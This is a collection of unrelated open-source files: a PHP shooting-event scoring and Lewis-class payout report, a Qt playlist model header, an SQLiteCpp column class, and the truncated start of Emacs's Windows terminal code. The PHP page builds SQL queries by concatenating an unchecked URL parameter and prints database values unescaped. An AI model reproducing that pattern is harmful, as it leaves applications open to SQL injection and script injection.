<?php include ('config.php'); include ('init.php'); include ('include.php'); $eventId = $_GET['eventId']; //get quantity of stations from event $query = 'SELECT stations FROM shootevent WHERE id='. $eventId; $result = dbquery($query); $row = mysqli_fetch_assoc($result); $stations = $row['stations']; ?> <!DOCTYPE html> <html> <head> <title>Event Report</title> <?php include 'header.php'; ?> <style> td{ padding: 0px 3px; text-align:center; } td.firstName{ text-align:right; } td.lastName{ text-align:left; } tr:nth-child(even) { background: #DDD; } </style> </head> <body> <h1>Event Report</h1> <?php //put if event exists statement here /*echo '<h2> Editing Shooters in the '; $query = 'SELECT eventType FROM shootevent WHERE id='. $eventId; $result = dbquery($query); $row = mysqli_fetch_assoc($result); $eventType = $row['eventType']; echo $eventType; echo ' Event of the '; */ $query = 'SELECT shootevent.eventType, registeredshoot.nscaShootId, registeredshoot.shootName, club.clubName FROM registeredshoot JOIN shootevent ON registeredshoot.id=shootevent.shootId JOIN club ON registeredshoot.clubId=club.id WHERE shootevent.id = ' . $eventId; $result = dbquery($query); $row = mysqli_fetch_array($result); $clubName = $row['clubName']; $shootName = $row['shootName']; $eventType = $row['eventType']; echo $clubName . '</br>'; echo $shootName; if($row['nscaShootId']){ echo ' - ' . $row['nscaShootId'] . '</br>'; }else{ echo '</br>'; } echo $eventType . ' Event </br>'; ?> <?php //total event Shooters $query = 'SELECT COUNT(*) AS numberOfShooters FROM eventshooter WHERE shooteventid =' . $eventId; $result = dbquery($query); $row = mysqli_fetch_assoc($result); $totalShooters = $row['numberOfShooters'] . ' Shooters </br>'; $query = 'SELECT * FROM shooter JOIN eventshooter ON eventshooter.shooterId = shooter.id WHERE eventshooter.shootEventId =' . $eventId . ' ORDER BY shooter.lastName ASC'; $result = dbquery($query); //table all BY LASTNAME ASC echo '<table border=\'1\'><thead><td>NSCA ID</td><td></td><td></td><td></td><td>Score</td></thead>'; while ($row = mysqli_fetch_array($result)){ echo '<tr>'; echo '<td class=\'nscaId\'>' . $row['nscaId'] . '</td>'; echo '<td class=\'firstName\'>' . $row['firstName'] . '</td>'; echo '<td class=\'lastName\'>' . $row['lastName'] . ' ' . $row['suffix'] . '</td>'; echo '<td class=\'class\'>' . $row['class'] . '</td>'; echo'</td>'; //get score $query2 = 'SELECT SUM(targetsBroken) AS totalScore FROM shootereventstationscore WHERE eventShooterId=' . $row['id']; $result2 = dbquery($query2); $row2 = mysqli_fetch_assoc($result2); echo '<td class=\'score\'>' . $row2['totalScore'] . '</td>'; } echo '</table>'; $scoreReportData = array(); function makeTable ($eventId,$searchBy,$searchParameter/*,$headersArray*/){ //this is shit drawTable( mergeshooterArrayAwards( giveAwards( getShooters($eventId, $searchBy, $searchParameter), $searchBy, $searchParameter), $searchParameter), $searchBy, $searchParameter); } //end makeTable function getShooters($eventId, $searchBy, $searchParameter){ //number of shooters by searchBy if ($searchBy == 'class' || $searchBy == 'concurrent'){ $whereClause = 'WHERE eventshooter.' . $searchBy . '=\'' . $searchParameter . '\''; }else if ($searchBy == 'concurrentLady'){ $whereClause = 'WHERE shooter.nscaConcurrentLady =\'' . $searchParameter . '\''; } $query = 'SELECT COUNT(*) AS numberOfShooters FROM shooter JOIN eventshooter ON eventshooter.shooterId = shooter.id ' . $whereClause . ' AND eventshooter.shootEventId =' . $eventId; $result = dbquery($query); $row = mysqli_fetch_assoc($result); $shooterCount = $row['numberOfShooters']; //get shooters by searchBy $query = 'SELECT * FROM shooter JOIN eventshooter ON eventshooter.shooterId = shooter.id ' . $whereClause . ' AND eventshooter.shootEventId =' . $eventId; $result = dbquery($query); $shooterArray = array(); $i = 0; while ($row = mysqli_fetch_array($result)){ //ust add score to array instead of creating new array? $shooterArray[$i]['firstName'] = $row['firstName']; $shooterArray[$i]['lastName'] = $row['lastName'] . ' ' . $row['suffix']; $shooterArray[$i]['nscaId'] = $row['nscaId']; //merged into nsca report $shooterArray[$i]['state'] = $row['state']; //merged into nsca report $shooterArray[$i]['shooterId'] = $row['shooterId'];//merged into nsca report //get scores $query2 = 'SELECT SUM(targetsBroken) AS totalScore FROM shootereventstationscore WHERE eventShooterId=' . $row['id']; $result2 = dbquery($query2); $row2 = mysqli_fetch_assoc($result2); $shooterArray[$i]['score'] = $row2['totalScore']; $i++; } $getShootersReturn = array($shooterArray,$shooterCount); return $getShootersReturn; } //end getShooters function giveAwards($getShooterReturn,$searchBy,$searchParameter){ //might be possible to do this with a strategic db query //sort by scores DESC $shooterArray = $getShooterReturn[0]; $shooterCount = $getShooterReturn[1]; if ($shooterCount > 0){ foreach ($shooterArray as $shooter){ $tmp[] = $shooter['score']; } array_multisort($tmp, SORT_DESC, $shooterArray); //put one of each score in array in descending order $scoreList = array(); $last = 10000; foreach ($shooterArray as $shooter){ $current = $shooter['score']; if ($current < $last){ $scoreList[] = $current; $last = $current; } } } if($searchBy == 'class'){ //determine punches/award based on amount of shooters if ($shooterCount >= 0 && $shooterCount <= 2){ $punches = array(); } if ($shooterCount >= 3 && $shooterCount <= 9){ $punches = array(1); } if ($shooterCount >= 10 && $shooterCount <= 14){ $punches = array(2,1); } if ($shooterCount >= 15 && $shooterCount <= 29){ $punches = array(4,2,1); } if ($shooterCount >= 30 && $shooterCount <= 44){ $punches = array(4,4,2,1); } if ($shooterCount >= 45){ $punches = array(4,4,4,3,2,1); } $i = 0; //location in punches and scoreList $j = 0; //location in shooter table while ($i < sizeof($punches)){ if ($shooterArray[$j]['score'] == $scoreList[$i]){ $shooterArray[$j]['awardClass'] = $searchParameter . strval($i+1); $shooterArray[$j]['punches'] = $punches[$i]; $j++; }else { $i++; } } while ($i >= sizeof($punches) && $j < $shooterCount){ $shooterArray[$j]['awardClass'] = $shooterArray[$j]['punches'] = '-'; $j++; }; }else if($searchBy == 'concurrent' || $searchBy == 'concurrentLady'){ //this will be more complicated when I implement points system, but for now this will do. //add shooter count conditions here for concurrent points $concurrentPoints = array(4,3,2,1); $i = 0; //location in punches and scoreList $j = 0; //location in shooter table while ($i < sizeof($concurrentPoints)){ if (isset($shooterArray[$j]['score']) && $shooterArray[$j]['score'] == $scoreList[$i]){ $shooterArray[$j]['awardConcurrent'] = $searchParameter . strval($i+1); $shooterArray[$j]['concurrentPoints'] = $concurrentPoints[$i]; $j++; }else { $i++; } } while ($i >= sizeof($concurrentPoints) && $j < $shooterCount){ $shooterArray[$j]['awardConcurrent'] = $shooterArray[$j]['concurrentPoints'] = '-'; $j++; }; }//else if($searchBy == 'concurrentLady'){ //append award instead of settign award //} return array($shooterArray,$shooterCount); } //end giveAwards function mergeshooterArrayAwards($shooterArrayAndShooterCount){ // $mergeshooterArrayAwards = array($mergedData, $shooterArray) //return $mergeshooterArrayAwardsReturn; return $shooterArrayAndShooterCount; }//end mergeshooterArrayAwards function drawTable($shooterArrayAndShooterCount, $searchBy, $searchParameter){ $shooterArray = $shooterArrayAndShooterCount[0]; $shooterCount = $shooterArrayAndShooterCount[1]; //dump shooterArray into scoreReport array //global $scoreReportData; //$scoreReportData = array_merge($scoreReportData, $shooterArray); //draw table if ($shooterCount > 0){ if ($searchBy == 'M'){ $searchBy = 'Master'; } $shooterCountString = $shooterCount; if ($shooterCountString == 1){ $shooterCountString .= ' Shooter'; }else{ $shooterCountString .= ' Shooters'; } if ($searchBy == 'class'){ echo '<table border=\'1\'><thead><td colspan=\'3\'>' . $searchParameter . ' Class - ' . $shooterCountString . '</td><td>Award</td><td>Punches</td></thead>'; for ($k = 0; $k < $shooterCount ; $k++){ echo '<tr>'; echo '<td class=\'firstName\'>' . $shooterArray[$k]['firstName'] . '</td>'; echo '<td class=\'lastName\'>' . $shooterArray[$k]['lastName'] . '</td>'; echo '<td class=\'score\'>' . $shooterArray[$k]['score'] . '</td>'; echo '<td class=\'awardClass\'>' . $shooterArray[$k]['awardClass'] . '</td>'; echo '<td class=\'punches\'>' . $shooterArray[$k]['punches'] . '</td>'; echo '</tr>'; } echo '</table>'; }else if ($searchBy == 'concurrent' || $searchBy == 'concurrentLady' ){ if ($searchBy == 'concurrentLady'){ $searchParameter = 'LY'; } echo '<table border=\'1\'><thead><td colspan=\'3\'>' . $searchParameter . ' Concurrent - ' . $shooterCountString . '</td><td>Award</td></thead>'; for ($k = 0; $k < $shooterCount ; $k++){ echo '<tr>'; echo '<td class=\'firstName\'>' . $shooterArray[$k]['firstName'] . '</td>'; echo '<td class=\'lastName\'>' . $shooterArray[$k]['lastName'] . '</td>'; echo '<td class=\'score\'>' . $shooterArray[$k]['score'] . '</td>'; echo '<td class=\'awardClass\'>' . $shooterArray[$k]['awardConcurrent'] . '</td>'; echo '</tr>'; } } } //return $shooterArray; } //end drawTable //end function makeClassTableh /*makeTable($eventId,'class','M'); makeTable($eventId,'class','AA'); makeTable($eventId,'class','A'); makeTable($eventId,'class','B'); makeTable($eventId,'class','C'); makeTable($eventId,'class','D'); makeTable($eventId,'class','E'); makeTable($eventId,'concurrent','SJ'); makeTable($eventId,'concurrent','JR'); makeTable($eventId,'concurrent','VT'); makeTable($eventId,'concurrent','SV'); makeTable($eventId,'concurrent','SSV'); makeTable($eventId,'concurrentLady','1'); //makeTable($eventId,'concurrent',''); //open concurrency - to calculate All-X points */ //HOA //get shooters with hoa //find highest score //calculate percentage winnings //calculate money winnings //HIC //get shooters with hic per class //same as above //lewis //get shooters with lewis //get shooterCount with lewis //get lewis groups //order shooters by score ascending **important // //Lewis Calculation // //these queries should be moved to getShooters $query = ' SELECT lewisGroups FROM shootevent WHERE id=' . $eventId; $result = dbquery($query); $row = mysqli_fetch_assoc($result); $lewisGroups = $row['lewisGroups']; if(!isset($lewisGroups) || $lewisGroups == 0){ echo 'Lewis Groups not set'; } else{ $searchBy = 'lewisOption'; $searchParameter = 1; $whereClause = 'WHERE eventshooter.' . $searchBy . '=\'' . $searchParameter . '\''; $query = 'SELECT COUNT(*) AS numberOfShooters FROM shooter JOIN eventshooter ON eventshooter.shooterId = shooter.id ' . $whereClause . ' AND eventshooter.shootEventId =' . $eventId; $result = dbquery($query); $row = mysqli_fetch_assoc($result); $shooterCount = $row['numberOfShooters']; //get shooters by searchBy $query = 'SELECT * FROM shooter JOIN eventshooter ON eventshooter.shooterId = shooter.id ' . $whereClause . ' AND eventshooter.shootEventId =' . $eventId; $result = dbquery($query); $i = 0; while ($row = mysqli_fetch_array($result)){ $shooterArray[$i]['firstName'] = $row['firstName']; $shooterArray[$i]['lastName'] = $row['lastName'] . ' ' . $row['suffix']; //get scores $query2 = 'SELECT SUM(targetsBroken) AS totalScore FROM shootereventstationscore WHERE eventShooterId=' . $row['id']; $result2 = dbquery($query2); $row2 = mysqli_fetch_assoc($result2); $shooterArray[$i]['score'] = $row2['totalScore']; $i++; } foreach ($shooterArray as $val){ $tmp[] = $val['score']; } array_multisort($tmp, SORT_ASC, $shooterArray); $shooterCountModular = $shooterCount % $lewisGroups; //left over shooters if broken into even groups $groupShooterCount = ( $shooterCount - $shooterCountModular ) / $lewisGroups; //Lewis group size if evenly divisible $groupCounts = array(); //size of each Lewis group from lowest score to highest $x = 1; //$x - group number while ($x <= $lewisGroups){ if ($shooterCountModular > 0){ $groupCounts[$x] = $groupShooterCount + 1; $shooterCountModular -= 1; }else { $groupCounts[$x] = $groupShooterCount; } $x++; } //end while //assign groupings $x = 0; $y = $lewisGroups; //look at each value in the $lewisGroupShooterCount array foreach ($groupCounts as $shootersLeftInGroup){ //set shooters' group while ($shootersLeftInGroup > 0 ){ $shooterArray[$x]['lewisGroup'] = $y; $shootersLeftInGroup -= 1; $x += 1; } $y -= 1; } //groupings for $originalGroup = $lastGroup = $shooterArray[0]['lewisGroup']; $lastScore = $currentGroup = -1; //set to impossible $scoresBelowLine = $scoresAboveLine = 0; foreach ($shooterArray as $shooter){ $currentScore = $shooter['score']; $currentGroup = $shooter['lewisGroup']; //echo $lastScore; if ($currentScore == $lastScore){ if ($scoresBelowLine == 0 && $scoresAboveLine == 0){ $originalGroup = $lastGroup; } if ($currentGroup == $originalGroup){ $scoresBelowLine += 1; }else{ $scoresAboveLine += 1; $highestGroup = $currentGroup; } }else { //if scores are not the same if ($scoresBelowLine == 0 && $scoresBelowLine == 0){ //capture case, no ties before this, skip to next score }else if ($scoresBelowLine >= $scoresAboveLine){ $lewisTies[$lastScore] = $originalGroup; // echo ' v'; }else { $lewisTies[lastScore] = $lastGroup; // echo ' ^'; $scoresAboveLine = $scoresBelowLine = 0; } $scoresAboveLine = $scoresBelowLine = 0; } $lastScore = $currentScore; $lastGroup = $currentGroup; //echo ' --- ' . $currentScore . ' - ' . $currentGroup . ' - ' . $originalGroup . ' - ' . $lastGroup . ' - ' . $scoresBelowLine . ' - ' . $scoresAboveLine; //echo '</br>'; } //end outer foreach //changing groups foreach ($shooterArray as &$shooter){ foreach ($lewisTies as $score => $newGroup){ if ($shooter['score'] == $score ){ $shooter['lewisGroup'] = $newGroup; break; } } } //end changing groups unset($shooter); $query = 'SELECT lewisCost FROM shootevent WHERE id =' . $eventId; $result = dbquery($query); $row = mysqli_fetch_assoc($result); $lewisCost = $row['lewisCost']; $totalLewisMoney = $lewisCost * $shooterCount; $groupLewisMoney = $totalLewisMoney / $lewisGroups; $x = 1; while ($x <= $lewisGroups){ $highestScore = 0; $awardSplit = 0; foreach ($shooterArray as $shooter){ //the last score meeting the if statement should always be highest else there's a problem if($shooter['lewisGroup'] == $x){ $highestScore = $shooter['score']; } } foreach ($shooterArray as $shooter){ if ($shooter['score'] == $highestScore){ $awardSplit++; } } //convert lewis group number to letter (NSCA practice) $lewisClassLetter = chr($x + 64); foreach ($shooterArray as &$shooter){ if($shooter['lewisGroup'] == $x){ if ($shooter['score'] == $highestScore){ $shooter['lewisPercentage'] = round((1 / $awardSplit), 3, PHP_ROUND_HALF_UP) * 100; $shooter['lewisMoney'] = round(((1 / $awardSplit) * $groupLewisMoney),2,PHP_ROUND_HALF_UP); }else { $shooter['lewisPercentage'] = $shooter['lewisMoney'] = '0'; } } } unset($shooter); echo '<table border="1">'; echo '<thead><td colspan="5">Lewis Class ' . $lewisClassLetter . '</thead>'; echo '<thead>'; echo '<td colspan="2"></td>'; //firstName lastName echo '<td>Score</td>'; echo '<td>Win %</td>'; echo '<td class="private">Money</td>'; echo '</thead>'; $shooterArrayDesc = array_reverse($shooterArray); foreach ($shooterArrayDesc as $shooter){ if($shooter['lewisGroup'] == $x){ echo '<tr>'; echo '<td class="firstName">' . $shooter['firstName'] . '</td>'; echo '<td class="lastName">' . $shooter['lastName'] . '</td>'; echo '<td>' . $shooter['score'] . '</td>'; echo '<td>' . $shooter['lewisPercentage'] . '%</td>'; echo '<td class="private">$' . $shooter['lewisMoney'] . '</td>'; echo '</tr>'; } } echo '</table>'; $x++; }//end while } // //end Lewis Calculation // ?> </body> <?php include 'footer.php'; ?> <script type="text/javascript"> $(document).ready(function(){ }); </script> </html>
peteritism/ShootReportSystem
eventReport.php
PHP
gpl-3.0
17,554
/* * QuarkPlayer, a Phonon media player * Copyright (C) 2008-2010 Tanguy Krotoff <tkrotoff@gmail.com> * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef PLAYLISTMODEL_H #define PLAYLISTMODEL_H #include <quarkplayer-plugins/Playlist/PlaylistExport.h> #include <PlaylistParser/PlaylistParser.h> #include <phonon/phononnamespace.h> #include <QtCore/QAbstractListModel> #include <QtCore/QList> #include <QtCore/QUuid> class PlaylistCommandLineParser; class PlaylistFilter; class PlaylistReader; class PlaylistWriter; class QuarkPlayer; class MediaInfoFetcher; class MediaInfo; namespace Phonon { class MediaObject; class MediaSource; } /** * Playlist model. * * Internally, PlaylistModel keeps the entire playlist in memory * via <pre>QList<Track> _fileNames</pre>. * This is compulsary since the user can perform some searches * inside the playlist via the search ToolBar. * <pre>QList<Track> _fileNames</pre> should be memory efficient and thus the * Track class is very minimalist. * * @author Tanguy Krotoff */ class PLAYLIST_API PlaylistModel : public QAbstractListModel { Q_OBJECT public: static const int COLUMN_INFO; static const int COLUMN_TRACK; static const int COLUMN_TITLE; static const int COLUMN_ARTIST; static const int COLUMN_ALBUM; static const int COLUMN_LENGTH; static const int COLUMN_FIRST; static const int COLUMN_LAST; PlaylistModel(QuarkPlayer & quarkPlayer, const QUuid & uuid, QObject * parent); ~PlaylistModel(); void setPlaylistFilter(PlaylistFilter * playlistFilter); static const int APPEND_FILES; /** * Adds files to the model. * * Saves the new added files to the current playlist if needed. * A file can also be a playlist file (.m3u, .pls...) * * The list of files can contain directory, addFiles() will go recursive to find all the files. * * @param files files to add to the model * @param row location in the model where to add the files; if APPEND_FILES then append the files */ void addFiles(const QStringList & files, int row = APPEND_FILES); void addFiles(const QList<MediaInfo> & files, int row = APPEND_FILES); /** * Plays the file at the given position. */ void play(int position); /** * Loads a playlist file (.m3u, .pls...). */ void loadPlaylist(const QString & fileName); /** * Enqueues the file at the given position. */ void enqueue(int position); /** Sets the current item position inside the model. */ void setPosition(int position); /** Gets the current item position inside the model. */ int position() const; /** * Returns the files inside the playlist. * * The number of files is equal to the number of rows inside the playlist. */ const QList<MediaInfo> & files() const; /** * Gets the fileName given its index. * * @return MediaInfo object, can be empty if the index is invalid */ MediaInfo mediaInfo(const QModelIndex & index) const; /** * @name Inherited from QAbstractListModel * @{ */ int columnCount(const QModelIndex & parent = QModelIndex()) const; QVariant data(const QModelIndex & index, int role = Qt::DisplayRole) const; QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::DisplayRole) const; int rowCount(const QModelIndex & parent = QModelIndex()) const; bool removeRows(int row, int count, const QModelIndex & parent = QModelIndex()); Qt::ItemFlags flags(const QModelIndex & index) const; bool dropMimeData(const QMimeData * data, Qt::DropAction action, int row, int column, const QModelIndex & parent); QMimeData * mimeData(const QModelIndexList & indexes) const; QStringList mimeTypes() const; Qt::DropActions supportedDropActions() const; /** @} */ public slots: /** Clears the model. */ void clear(); /** Loads the current playlist. */ void loadCurrentPlaylist(); /** Saves the current playlist to a file. */ void saveCurrentPlaylist(); /** * Hack to fix a bug with QObject::connect(). * * FIXME Huston, we've got a very strange bug. * We have to create a slot inside PlaylistModel * instead of using directly the slot inside _playlistFilter * otherwise QObject::connect() only works half of the time :/ */ void enqueueNextTrack(); signals: void playlistLoaded(PlaylistParser::Error, int timeElapsed); void playlistSaved(PlaylistParser::Error, int timeElapsed); private slots: void playInternal(); void currentMediaObjectChanged(Phonon::MediaObject * mediaObject); void currentSourceChanged(const Phonon::MediaSource & source); void stateChanged(Phonon::State newState); void tick(qint64 time); void updateMediaInfo(const MediaInfo & mediaInfo); void filesFound(const QStringList & files); void filesFound(const QList<MediaInfo> & files); void searchFinished(int timeElapsed); void allPluginsLoaded(); private: void connectToMediaObject(Phonon::MediaObject * mediaObject); void insertFilesInsideTheModel(const QList<MediaInfo> & files, int row); enum TrackDisplayMode { TrackDisplayModeNormal, TrackDisplayModeWinamp }; void clearInternal(); QString currentPlaylist() const; PlaylistFilter * _playlistFilter; QuarkPlayer & _quarkPlayer; /** Resolves the list of pending files for metadata/info. */ MediaInfoFetcher * _mediaInfoFetcher; /** * List of all the media (fileNames) available in this QAbstractItemModel. */ QList<MediaInfo> _fileNames; /** * _mediaInfoFetcher is working or not (already resolving some metadatas or not). * Pending row for meta data/info to be resolved. */ mutable int _mediaInfoFetcherRow; /** Current item position: the item/row/file that is currenlty selected inside the model/playlist. */ int _position; /** * Trick: row where to insert new files. * * I have to do that because of Qt slot/signal limitation :/ * this works with filesFound() slot defined above. * * @see filesFound() * @see http://lists.trolltech.com/qt-interest/1998-01/thread00097-0.html */ int _rowWhereToInsertFiles; /** * Counts the number of files found in order * to saves the playlist at the right time * and not everytime a file is added to PlaylistModel. */ int _nbFindFiles; /** * The rows drag and droped internaly. * This is needed for detecting we the current playlist row * is being drag and droped. */ mutable QList<int> _dragAndDropRows; /** * UUID from PluginInterface and PlaylistWidget. * * Necessary for loading and saving several playlist. */ QUuid _uuid; /** * Position to play. * * @see playInternal() */ int _positionToPlay; PlaylistCommandLineParser * _commandLineParser; /** Reads a playlist file (*.xspf, *.m3u, *.pls...) given to PlaylistModel. */ PlaylistReader * _playlistReader; /** Saves the playlist (*.xspf) inside PlaylistModel. */ PlaylistWriter * _playlistWriter; }; #endif //PLAYLISTMODEL_H
tkrotoff/QuarkPlayer
quarkplayer-plugins/Playlist/PlaylistModel.h
C
gpl-3.0
7,462
/** * @file Column.cpp * @ingroup SQLiteCpp * @brief Encapsulation of a Column in a row of the result pointed by the prepared SQLite::Statement. * * Copyright (c) 2012-2015 Sebastien Rombauts (sebastien.rombauts@gmail.com) * * Distributed under the MIT License (MIT) (See accompanying file LICENSE.txt * or copy at http://opensource.org/licenses/MIT) */ #include <SQLiteCpp/Column.h> #include <iostream> namespace SQLite { // Encapsulation of a Column in a row of the result pointed by the prepared Statement. Column::Column(Statement::Ptr& aStmtPtr, int aIndex) noexcept : // nothrow mStmtPtr(aStmtPtr), mIndex(aIndex) { } // Finalize and unregister the SQL query from the SQLite Database Connection. Column::~Column() noexcept // nothrow { // the finalization will be done by the destructor of the last shared pointer } // Return the named assigned to this result column (potentially aliased) const char* Column::getName() const noexcept // nothrow { return sqlite3_column_name(mStmtPtr, mIndex); } #ifdef SQLITE_ENABLE_COLUMN_METADATA // Return the name of the table column that is the origin of this result column const char* Column::getOriginName() const noexcept // nothrow { return sqlite3_column_origin_name(mStmtPtr, mIndex); } #endif // Return the integer value of the column specified by its index starting at 0 int Column::getInt() const noexcept // nothrow { return sqlite3_column_int(mStmtPtr, mIndex); } // Return the 64bits integer value of the column specified by its index starting at 0 sqlite3_int64 Column::getInt64() const noexcept // nothrow { return sqlite3_column_int64(mStmtPtr, mIndex); } // Return the double value of the column specified by its index starting at 0 double Column::getDouble() const noexcept // nothrow { return sqlite3_column_double(mStmtPtr, mIndex); } // Return a pointer to the text value (NULL terminated string) of the column specified by its index starting at 0 const char* Column::getText(const char* apDefaultValue /* = "" */) const noexcept // nothrow { const char* pText = (const char*)sqlite3_column_text(mStmtPtr, mIndex); return (pText?pText:apDefaultValue); } // Return a pointer to the text value (NULL terminated string) of the column specified by its index starting at 0 const void* Column::getBlob() const noexcept // nothrow { return sqlite3_column_blob(mStmtPtr, mIndex); } // Return the type of the value of the column int Column::getType() const noexcept // nothrow { return sqlite3_column_type(mStmtPtr, mIndex); } // Return the number of bytes used by the text value of the column int Column::getBytes() const noexcept // nothrow { return sqlite3_column_bytes(mStmtPtr, mIndex); } // Standard std::ostream inserter std::ostream& operator<<(std::ostream& aStream, const Column& aColumn) { aStream << aColumn.getText(); return aStream; } } // namespace SQLite
edlund/fabl-ng
vendor/sources/sqlitecpp-1.1/src/Column.cpp
C++
gpl-3.0
2,919
/* Implementation of GUI terminal on the Microsoft Windows API. Copyright (C) 1989, 1993-2021 Free Software Foundation, Inc. This file is part of GNU Emacs. GNU Emacs is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. GNU Emacs is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with GNU Emacs. If not, see <https://www.gnu.org/licenses/>. */ #include <config.h> #include <signal.h> #include <stdio.h> #include "lisp.h" #include "blockinput.h" #include "w32term.h" #include "w32common.h" /* for OS version info */ #include <ctype.h> #include <errno.h> #include <sys/stat.h> #ifdef CYGWIN #include <fcntl.h> /* for O_RDWR */ #endif #include <imm.h> #include <math.h> #include "coding.h" #include "frame.h" #include "fontset.h" #include "termhooks.h" #include "termopts.h" #include "termchar.h" #include "buffer.h" #include "window.h" #include "keyboard.h" #include "menu.h" /* for w32_menu_show */ #ifdef WINDOWSNT #include "w32.h" /* for filename_from_utf16, filename_from_ansi */ #endif #ifndef WINDOWSNT #include <io.h> /* for get_osfhandle */ #endif #include <shellapi.h> #include "font.h" #include "w32font.h" #if 0 /* TODO: stipple */ #include "bitmaps/gray.xbm" #endif /* Fringe bitmaps. */ static int max_fringe_bmp = 0; static HBITMAP *fringe_bmp = 0; /* Temporary variables for w32_read_socket. */ static int last_mousemove_x = 0; static int last_mousemove_y = 0; /* Define GET_WHEEL_DELTA_WPARAM macro if system headers don't. */ #ifndef GET_WHEEL_DELTA_WPARAM #define GET_WHEEL_DELTA_WPARAM(wparam) ((short)HIWORD (wparam)) #endif /* Non-zero means that a HELP_EVENT has been generated since Emacs start. */ static int any_help_event_p; extern unsigned int msh_mousewheel; extern int w32_codepage_for_font (char *fontname); extern HCURSOR w32_load_cursor (LPCTSTR name); /* This is display since w32 does not support multiple ones. */ struct w32_display_info one_w32_display_info; struct w32_display_info *x_display_list; #if _WIN32_WINNT < 0x0500 && !defined(MINGW_W64) /* Pre Windows 2000, this was not available, but define it here so that Emacs compiled on such a platform will run on newer versions. MinGW64 defines these unconditionally, so avoid redefining. */ typedef struct tagWCRANGE { WCHAR wcLow; USHORT cGlyphs; } WCRANGE; typedef struct tagGLYPHSET { DWORD cbThis; DWORD flAccel; DWORD cGlyphsSupported; DWORD cRanges; WCRANGE ranges[1]; } GLYPHSET; #endif /* compiling for pre-Win2k */ /* Dynamic linking to SetLayeredWindowAttribute (only since 2000). */ BOOL (WINAPI *pfnSetLayeredWindowAttributes) (HWND, COLORREF, BYTE, DWORD); /* PlgBlt is available since Windows 2000. */ BOOL (WINAPI *pfnPlgBlt) (HDC, const POINT *, HDC, int, int, int, int, HBITMAP, int, int); #ifndef LWA_ALPHA #define LWA_ALPHA 0x02 #endif /* WS_EX_LAYERED is defined unconditionally by MingW, but only for W2K and later targets by MSVC headers. */ #ifndef WS_EX_LAYERED #define WS_EX_LAYERED 0x80000 #endif /* SM_CXVIRTUALSCREEN and SM_CYVIRTUALSCREEN are not defined on 95 and NT4. */ #ifndef SM_CXVIRTUALSCREEN #define SM_CXVIRTUALSCREEN 78 #endif #ifndef SM_CYVIRTUALSCREEN #define SM_CYVIRTUALSCREEN 79 #endif /* The handle of the frame that currently owns the system caret. */ HWND w32_system_caret_hwnd; int w32_system_caret_height; int w32_system_caret_x; int w32_system_caret_y; struct window *w32_system_caret_window; int w32_system_caret_hdr_height; int w32_system_caret_mode_height; DWORD dwWindowsThreadId = 0; HANDLE hWindowsThread = NULL; DWORD dwMainThreadId = 0; HANDLE hMainThread = NULL; int vertical_scroll_bar_min_handle; int horizontal_scroll_bar_min_handle; int vertical_scroll_bar_top_border; int vertical_scroll_bar_bottom_border; int horizontal_scroll_bar_left_border; int horizontal_scroll_bar_right_border; int last_scroll_bar_drag_pos; /* Keyboard code page - may be changed by language-change events. */ int w32_keyboard_codepage; /* The number of screen lines to scroll for the default mouse-wheel scroll amount, given by WHEEL_DELTA. */ static UINT w32_wheel_scroll_lines; #ifdef CYGWIN int w32_message_fd = -1; #endif /* CYGWIN */ static Lisp_Object w32_handle_tab_bar_click (struct frame *, struct input_event *); static void w32_handle_tool_bar_click (struct frame *, struct input_event *); static void w32_define_cursor (Window, Emacs_Cursor); static void w32_scroll_bar_clear (struct frame *); static void w32_raise_frame (struct frame *); static void w32_lower_frame (struct frame *); static void w32_initialize (void); static void w32_update_end (struct frame *); static void w32_frame_up_to_date (struct frame *); static void w32_clear_frame (struct frame *); static void w32_frame_highlight (struct frame *); static void w32_frame_unhighlight (struct frame *); static void w32_new_focus_frame (struct w32_display_info *, struct frame *); static void w32_focus_changed (int, int, struct w32_display_info *, struct frame *, struct input_event *); static void w32_detect_focus_change (struct w32_display_info *, W32Msg *, struct input_event *); static void w32_frame_rehighlight (struct frame *); static void w32_frame_rehighlight_1 (struct w32_display_info *); static void w32_draw_hollow_cursor (struct window *, struct glyph_row *); static void w32_draw_bar_cursor (struct window *, struct glyph_row *, int, enum text_cursor_kinds); static void w32_clip_to_row (struct window *, struct glyph_row *, enum glyph_row_area, HDC); static BOOL my_show_window (struct frame *, HWND, int); static void my_set_window_pos (HWND, HWND, int, int, int, int, UINT); #if 0 static void my_set_focus (struct frame *, HWND); #endif static void my_set_foreground_window (HWND); static void my_destroy_window (struct frame *, HWND); static void w32fullscreen_hook (struct frame *); #ifdef GLYPH_DEBUG static void w32_check_font (struct frame *, struct font *); #endif /*********************************************************************** Debugging ***********************************************************************/ #if 0 /* This is a function useful for recording debugging information about the sequence of occurrences in this file. */ struct record { char *locus; int type; }; struct record event_record[100]; int event_record_index; record_event (char *locus, int type) { if (event_record_index == sizeof (event_record) / sizeof (struct record)) event_record_index = 0; event_record[event_record_index].locus = locus; event_record[event_record_index].type = type; event_record_index++; } #endif /* 0 */ static void XChangeGC (void *ignore, Emacs_GC *gc, unsigned long mask, Emacs_GC *egc) { if (mask & GCForeground) gc->foreground = egc->foreground; if (mask & GCBackground) gc->background = egc->background; } Emacs_GC * XCreateGC (void *ignore, HWND wignore, unsigned long mask, Emacs_GC *egc) { Emacs_GC *gc = xzalloc (sizeof (*gc)); XChangeGC (ignore, gc, mask, egc); return gc; } #if 0 /* unused for now, see w32_draw_image_glyph_string below */ static void XGetGCValues (void *ignore, XGCValues *gc, unsigned long mask, XGCValues *xgcv) { XChangeGC (ignore, xgcv, mask, gc); } #endif static void w32_get_mouse_wheel_vertical_delta (void) { if (os_subtype != OS_SUBTYPE_NT) return; UINT scroll_lines; BOOL ret = SystemParametersInfo (SPI_GETWHEELSCROLLLINES, 0, &scroll_lines, 0); if (ret) w32_wheel_scroll_lines 